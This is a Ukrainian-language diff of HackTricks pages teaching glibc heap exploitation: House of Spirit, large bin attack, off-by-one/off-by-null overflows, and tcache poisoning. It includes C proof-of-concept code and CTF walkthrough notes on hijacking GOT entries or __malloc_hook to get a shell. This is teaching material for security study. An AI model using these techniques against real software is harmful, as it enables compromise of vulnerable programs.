Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) від HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) від HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакінг-прийоми, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Основна інформація
|
||||
|
||||
### Код
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Будинок Духу</summary>
|
||||
```c
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
|
||||
|
||||
struct fast_chunk {
|
||||
size_t prev_size;
|
||||
size_t size;
|
||||
struct fast_chunk *fd;
|
||||
struct fast_chunk *bk;
|
||||
char buf[0x20]; // chunk falls in fastbin size range
|
||||
};
|
||||
|
||||
int main() {
|
||||
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
|
||||
void *ptr, *victim;
|
||||
|
||||
ptr = malloc(0x30);
|
||||
|
||||
printf("Original alloc address: %p\n", ptr);
|
||||
printf("Main fake chunk:%p\n", &fake_chunks[0]);
|
||||
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
|
||||
|
||||
// Passes size check of "free(): invalid size"
|
||||
fake_chunks[0].size = sizeof(struct fast_chunk);
|
||||
|
||||
// Passes "free(): invalid next size (fast)"
|
||||
fake_chunks[1].size = sizeof(struct fast_chunk);
|
||||
|
||||
// Attacker overwrites a pointer that is about to be 'freed'
|
||||
// Point to .fd as it's the start of the content of the chunk
|
||||
ptr = (void *)&fake_chunks[0].fd;
|
||||
|
||||
free(ptr);
|
||||
|
||||
victim = malloc(0x30);
|
||||
printf("Victim: %p\n", victim);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
### Мета
|
||||
|
||||
* Мати можливість додавати адресу в tcache / fast bin, щоб потім можна було її виділити
|
||||
|
||||
### Вимоги
|
||||
|
||||
* Цей атака вимагає, щоб зловмисник міг створити кілька фальшивих швидких частин, правильно вказавши значення їх розміру, і потім мати можливість вивільнити перший фальшивий чанк, щоб він потрапив у бін.
|
||||
|
||||
### Атака
|
||||
|
||||
* Створіть фальшиві чанки, які обходять перевірки безпеки: вам знадобиться 2 фальшивих чанки, які в основному вказують на правильні розміри на правильних позиціях
|
||||
* Якимось чином вивільніть перший фальшивий чанк, щоб він потрапив у швидкий або tcache бін, і потім виділіть його, щоб перезаписати ту адресу
|
||||
|
||||
**Код від** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **дуже добре пояснює атаку.** Хоча ця схема з коду досить добре її узагальнює:
|
||||
```c
|
||||
/*
|
||||
this will be the structure of our two fake chunks:
|
||||
assuming that you compiled it for x64
|
||||
|
||||
+-------+---------------------+------+
|
||||
| 0x00: | Chunk # 0 prev size | 0x00 |
|
||||
+-------+---------------------+------+
|
||||
| 0x08: | Chunk # 0 size | 0x60 |
|
||||
+-------+---------------------+------+
|
||||
| 0x10: | Chunk # 0 content | 0x00 |
|
||||
+-------+---------------------+------+
|
||||
| 0x60: | Chunk # 1 prev size | 0x00 |
|
||||
+-------+---------------------+------+
|
||||
| 0x68: | Chunk # 1 size | 0x40 |
|
||||
+-------+---------------------+------+
|
||||
| 0x70: | Chunk # 1 content | 0x00 |
|
||||
+-------+---------------------+------+
|
||||
|
||||
for what we are doing the prev size values don't matter too much
|
||||
the important thing is the size values of the heap headers for our fake chunks
|
||||
*/
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Зверніть увагу, що необхідно створити другий чанк, щоб обійти деякі перевірки на адекватність.
|
||||
{% endhint %}
|
||||
|
||||
## Приклади
|
||||
|
||||
* **CTF** [**https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html**](https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html)
|
||||
* **Витік інформації про Libc**: Через переповнення можна змінити вказівник, щоб вказував на адресу GOT, щоб витікти адресу Libc через дію читання CTF
|
||||
* **House of Spirit**: Зловживання лічильником, який підраховує кількість "гвинтів", можливо згенерувати фальшивий розмір першого фальшивого чанка, потім зловживанням "повідомленням" можливо підробити другий розмір чанка, і, нарешті, зловживанням переповненням можливо змінити вказівник, який буде звільнений, щоб наш перший фальшивий чанк був звільнений. Потім ми можемо виділити його, і всередині нього буде адреса, куди зберігається "повідомлення". Потім можливо зробити це вказівкою на запис `scanf` всередині таблиці GOT, щоб ми могли перезаписати його адресою до системи.\
|
||||
Наступного разу, коли викликається `scanf`, ми можемо відправити введення `"/bin/sh"` і отримати оболонку.
|
||||
|
||||
* [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/)
|
||||
* **Витік Glibc**: Неініціалізований буфер стеку.
|
||||
* **House of Spirit**: Ми можемо змінити перший індекс глобального масиву вказівників кучі. За допомогою однобайтової модифікації ми використовуємо `free` на фальшивому чанку всередині дійсного чанку, щоб отримати ситуацію перекривання чанків після повторного виділення. З цим працює проста атака отруєння Tcache для отримання довільного запису.
|
||||
|
||||
## Посилання
|
||||
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit)
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
87
binary-exploitation/libc-heap/large-bin-attack.md
Normal file
87
binary-exploitation/libc-heap/large-bin-attack.md
Normal file
|
@ -0,0 +1,87 @@
|
|||
# Атака на великий бін
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) від HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) від HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Основна інформація
|
||||
|
||||
Для отримання додаткової інформації про те, що таке великий бін, перегляньте цю сторінку:
|
||||
|
||||
{% content-ref url="bins-and-memory-allocations.md" %}
|
||||
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Можна знайти відмінний приклад у [**how2heap - атака на великий бін**](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/large\_bin\_attack.c).
|
||||
|
||||
Основна ідея полягає в тому, що в останній "поточній" версії glibc (2.35) не перевіряється: **`P->bk_nextsize`**, що дозволяє змінювати довільну адресу значенням великого бін-чанку, якщо виконані певні умови.
|
||||
|
||||
У цьому прикладі можна знайти наступні умови:
|
||||
|
||||
* Виділяється великий чанк
|
||||
* Виділяється великий чанк, менший за перший, але в тому ж індексі
|
||||
* Має бути меншим, щоб йти першим у біні
|
||||
* (Створюється чанк для запобігання злиттю з верхнім чанком)
|
||||
* Потім перший великий чанк звільняється, і виділяється новий чанк, більший за нього -> Чанк1 переходить до великого біну
|
||||
* Потім другий великий чанк звільняється
|
||||
* Тепер уразливість: Атакуючий може змінити `chunk1->bk_nextsize` на `[ціль-0x20]`
|
||||
* Потім виділяється більший чанк, ніж chunk 2, тому chunk2 вставляється в великий бін, перезаписуючи адресу `chunk1->bk_nextsize->fd_nextsize` адресою chunk2
|
||||
|
||||
{% hint style="success" %}
|
||||
Є інші потенційні сценарії, суть у тому, щоб додати до великого біну чанк, який є **меншим** за поточний X чанк у біні, тому його потрібно вставити саме перед ним у біні, і ми повинні мати можливість змінити **`bk_nextsize`** X, оскільки саме там буде записана адреса меншого чанку.
|
||||
{% endhint %}
|
||||
|
||||
Ось відповідний код з malloc. Додані коментарі для кращого розуміння того, як була перезаписана адреса:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```c
|
||||
/* if smaller than smallest, bypass loop below */
|
||||
assert (chunk_main_arena (bck->bk));
|
||||
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
|
||||
{
|
||||
fwd = bck; // fwd = p1
|
||||
bck = bck->bk; // bck = p1->bk
|
||||
|
||||
victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk)
|
||||
victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize
|
||||
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2
|
||||
}
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Це можна використати для **перезапису глобальної змінної `global_max_fast`** бібліотеки libc, щоб потім використовувати атаку на швидкий бін з більшими частинами.
|
||||
|
||||
Ви можете знайти ще одне відмінне пояснення цієї атаки на [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin\_attack/largebin\_explanation0/index.html).
|
||||
|
||||
### Інші приклади
|
||||
|
||||
* [**La casa de papel. HackOn CTF 2024**](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/)
|
||||
* Атака на великий бін в тій же ситуації, як в [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/large\_bin\_attack.c).
|
||||
* Примітив запису є складнішим, оскільки `global_max_fast` тут некорисний.
|
||||
* Для завершення експлойту потрібна FSOP.
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
103
binary-exploitation/libc-heap/off-by-one-overflow.md
Normal file
103
binary-exploitation/libc-heap/off-by-one-overflow.md
Normal file
|
@ -0,0 +1,103 @@
|
|||
# Переповнення на один байт
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) від HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) від HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Основна інформація
|
||||
|
||||
Маючи доступ лише до переповнення на 1 байт, зловмиснику дозволяється змінювати поле `size` наступного чанка. Це дозволяє впливати на те, які чанки фактично звільняються, що потенційно може призвести до створення чанку, який містить інший легітимний чанк. Експлуатація схожа на [подвійне звільнення](double-free.md) або перекривання чанків.
|
||||
|
||||
Існують 2 типи вразливостей на один байт:
|
||||
|
||||
* Довільний байт: Цей тип дозволяє перезаписати цей байт будь-яким значенням
|
||||
* Нульовий байт (off-by-null): Цей тип дозволяє перезаписати цей байт лише значенням 0x00
|
||||
* Загальним прикладом цієї вразливості може бути код, де поведінка `strlen` та `strcpy` неузгоджена, що дозволяє встановити байт 0x00 в початку наступного чанка.
|
||||
* Це можна експлуатувати за допомогою [House of Einherjar](house-of-einherjar.md).
|
||||
* Якщо використовується Tcache, це може бути використано для ситуації [подвійного звільнення](double-free.md).
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Off-by-null</summary>
|
||||
```c
|
||||
// From https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/
|
||||
int main(void)
|
||||
{
|
||||
char buffer[40]="";
|
||||
void *chunk1;
|
||||
chunk1 = malloc(24);
|
||||
puts("Get Input");
|
||||
gets(buffer);
|
||||
if(strlen(buffer)==24)
|
||||
{
|
||||
strcpy(chunk1,buffer);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
Серед інших перевірок, тепер, коли блок вільний, попередній розмір порівнюється з розміром, налаштованим у метаданих блоку, що робить цей атаку досить складним з версії 2.28.
|
||||
|
||||
### Приклад коду:
|
||||
|
||||
* [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking\_free\_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking\_free\_chunks.c)
|
||||
* Ця атака більше не працює через використання Tcaches.
|
||||
* Більше того, якщо ви спробуєте зловживати цим, використовуючи більші блоки (так що tcaches не задіяні), ви отримаєте помилку: `malloc(): invalid next size (unsorted)`
|
||||
|
||||
### Мета
|
||||
|
||||
* Зробити так, щоб блок був вміщений всередині іншого блоку, так що доступ до запису в цей другий блок дозволяє перезаписати вміщений.
|
||||
|
||||
### Вимоги
|
||||
|
||||
* Переповнення на один байт, щоб змінити інформацію метаданих про розмір
|
||||
|
||||
### Загальна атака off-by-one
|
||||
|
||||
* Виділіть три блоки `A`, `B` та `C` (скажімо, розміри 0x20), а також ще один, щоб уникнути консолідації з верхнім блоком.
|
||||
* Звільніть `C` (вставлено у список вільних блоків Tcache 0x20).
|
||||
* Використовуйте блок `A` для переповнення на `B`. Зловживання off-by-one для зміни поля `size` `B` з 0x21 на 0x41.
|
||||
* Тепер у нас є `B`, що містить вільний блок `C`
|
||||
* Звільніть `B` та виділіть блок 0x40 (він буде розміщений тут знову)
|
||||
* Ми можемо змінити вказівник `fd` з `C`, який все ще вільний (забруднення Tcache)
|
||||
|
||||
### Атака off-by-null
|
||||
|
||||
* Зарезервовано 3 блоки пам'яті (a, b, c) один після одного. Потім середній з них звільнюється. Перший містить вразливість на переповнення на один байт, і зловмисник зловживає нею з 0x00 (якщо попередній байт був 0x10, це зробить середній блок вказувати, що він на 0x10 менший, ніж він є насправді).
|
||||
* Потім, в середині вільного блоку (b) виділяються ще 2 менших блоки, однак, оскільки `b + b->size` ніколи не оновлює блок c, оскільки вказана адреса менша, ніж повинна бути.
|
||||
* Потім b1 та c звільнені. Оскільки `c - c->prev_size` все ще вказує на b (тепер b1), обидва об'єднуються в один блок. Однак b2 все ще знаходиться всередині між b1 та c.
|
||||
* Нарешті, виконується новий malloc, що повертає цю область пам'яті, яка фактично буде містити b2, дозволяючи власнику нового malloc контролювати вміст b2.
|
||||
|
||||
Ця картинка ідеально пояснює атаку:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1247).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks">https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks</a></p></figcaption></figure>
|
||||
|
||||
## Інші Приклади та Посилання
|
||||
|
||||
* [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks)
|
||||
* [**Bon-nie-appetit. HTB Cyber Apocalypse CTF 2022**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/bon-nie-appetit/)
|
||||
* Off-by-one через `strlen`, який враховує поле `size` наступного блоку.
|
||||
* Використовується Tcache, тому загальні атаки off-by-one працюють для отримання довільного запису зі забрудненням Tcache.
|
||||
* [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off\_by\_one/#1-asis-ctf-2016-b00ks)
|
||||
* Можливо зловживати off-by-one, щоб витікати адресу з купи, оскільки байт 0x00 в кінці рядка перезаписується наступним полем.
|
||||
* Довільний запис отримується зловживанням off-by-one запису, щоб зробити вказівник вказувати на інше місце, де буде побудовано фейкову структуру з фейковими вказівниками. Потім можна слідувати вказівнику цієї структури, щоб отримати довільний запис.
|
||||
* Адреса libc витікається, оскільки якщо купа розширюється за допомогою mmap, пам'ять, виділена mmap, має фіксований зсув від libc.
|
||||
* Нарешті, зловживання довільним записом використовується для запису в адресу \_\_free\_hook за допомогою одного гаджета.
|
||||
* [**plaidctf 2015 plaiddb**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off\_by\_one/#instance-2-plaidctf-2015-plaiddb)
|
||||
* Є вразливість NULL off-by-one в функції `getline`, яка читає рядки введення користувача. Ця функція використовується для читання "ключа" вмісту, а не вмісту.
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
49
binary-exploitation/libc-heap/overwriting-a-freed-chunk.md
Normal file
49
binary-exploitation/libc-heap/overwriting-a-freed-chunk.md
Normal file
|
@ -0,0 +1,49 @@
|
|||
# Перезапис вивільненого чанка
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) від HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) від HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакінг-прийоми, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Декілька запропонованих технік експлуатації купи потребують можливості перезаписувати вказівники всередині вивільнених чанків. Мета цієї сторінки - узагальнити потенційні вразливості, які можуть надати такий доступ:
|
||||
|
||||
### Простий Use After Free
|
||||
|
||||
Якщо для атакуючого можливо **записати інформацію в вивільнений чанк**, вони можуть використати це для перезапису необхідних вказівників.
|
||||
|
||||
### Подвійне вивільнення
|
||||
|
||||
Якщо атакуючий може **`free` двічі той самий чанк** (вивільнювати інші чанки між ними потенційно) і зробити так, щоб він **2 рази опинився в одному біні**, користувач може **виділити чанк пізніше**, **записати необхідні вказівники**, а потім **виділити його знову**, спровокувавши дії виділення чанку (наприклад, атаку на швидкий бін, атаку на tcache...)
|
||||
|
||||
### Переповнення купи
|
||||
|
||||
Можливо **переповнити виділений чанк, який має поруч вивільнений чанк** і змінити деякі заголовки/вказівники.
|
||||
|
||||
### Переповнення на один байт
|
||||
|
||||
У цьому випадку можливо **змінити розмір** наступного чанку в пам'яті. Атакуючий може використати це, щоб **зробити виділений чанк більшим за розмір**, а потім **його `free`**, зробивши чанк **доданим до біна іншого** розміру (більшого), потім виділити **фейковий розмір**, і атака матиме доступ до **чанку з розміром, який більший**, ніж він насправді є, **надаючи таким чином ситуацію перекривання чанків**, яка може бути експлуатована так само, як **переповнення купи** (перевірте попередній розділ).
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) від HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) від HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакінг-прийоми, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
60
binary-exploitation/libc-heap/tcache-bin-attack.md
Normal file
60
binary-exploitation/libc-heap/tcache-bin-attack.md
Normal file
|
@ -0,0 +1,60 @@
|
|||
# Атака на Tcache Bin
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте Хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) від HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте Хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) від HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Основна інформація
|
||||
|
||||
Для отримання додаткової інформації про те, що таке Tcache bin, перегляньте цю сторінку:
|
||||
|
||||
{% content-ref url="bins-and-memory-allocations.md" %}
|
||||
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
По-перше, слід зауважити, що Tcache був впроваджений у версії Glibc 2.26.
|
||||
|
||||
**Атака на Tcache** (також відома як **забруднення Tcache**) запропонована на сторінці [**guyinatuxido**](https://guyinatuxedo.github.io/29-tcache/tcache\_explanation/index.html) дуже схожа на атаку на швидкий бін, де метою є перезапис вказівника на наступний чанк у біні всередині вивільненого чанку на довільну адресу, щоб пізніше було можливо **виділити цю конкретну адресу та потенційно перезаписати вказівники**.
|
||||
|
||||
Однак на сьогоднішній день, якщо ви запустите згаданий код, ви отримаєте помилку: **`malloc(): unaligned tcache chunk detected`**. Тому потрібно записати як адресу в новий вказівник вирівняну адресу (або виконати достатню кількість разів бінарний файл, щоб записана адреса фактично була вирівняною).
|
||||
|
||||
### Атаки на індекси Tcache
|
||||
|
||||
Зазвичай на початку купи можна знайти чанк, що містить **кількість чанків на кожний індекс** всередині tcache та адресу **головного чанку кожного індексу tcache**. Якщо з якоїсь причини можливо змінити цю інформацію, буде можливо **зробити головний чанк деякого індексу вказувати на бажану адресу** (наприклад, `__malloc_hook`), а потім виділити чанк розміру індексу та перезаписати вміст `__malloc_hook` у цьому випадку.
|
||||
|
||||
## Приклади
|
||||
|
||||
* CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19\_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19\_babyheap/index.html)
|
||||
* **Витік інформації про Libc**: Можливо заповнити tcaches, додати чанк у неупорядкований список, очистити tcache та **повторно виділити чанк з неупорядкованого біна**, перезаписавши лише перші 8 байт, залишаючи **другу адресу до libc з чанку недоторканою, щоб ми могли її прочитати**.
|
||||
* **Атака на Tcache**: Бінарний файл вразливий до переливання купи 1 байт. Це буде використано для зміни **заголовка розміру** виділеного чанку, зробивши його більшим. Потім цей чанк буде **вивільнено**, додаючи його до tcache чанків фальшивого розміру. Потім ми виділимо чанк із підробленим розміром, і попередній чанк буде **повернуто знавши, що цей чанк насправді був меншим**, і це відкриває можливість **перезаписати наступний чанк в пам'яті**.\
|
||||
Ми використаємо це для **перезапису вказівника FD на наступний чанк**, щоб вказував на **`malloc_hook`**, тому потім можна виділити 2 вказівники: спочатку законний вказівник, який ми щойно змінили, а потім друге виділення поверне чанк у **`malloc_hook`**, який можна використати для написання **one gadget**.
|
||||
* CTF [https://guyinatuxedo.github.io/29-tcache/plaid19\_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19\_cpp/index.html)
|
||||
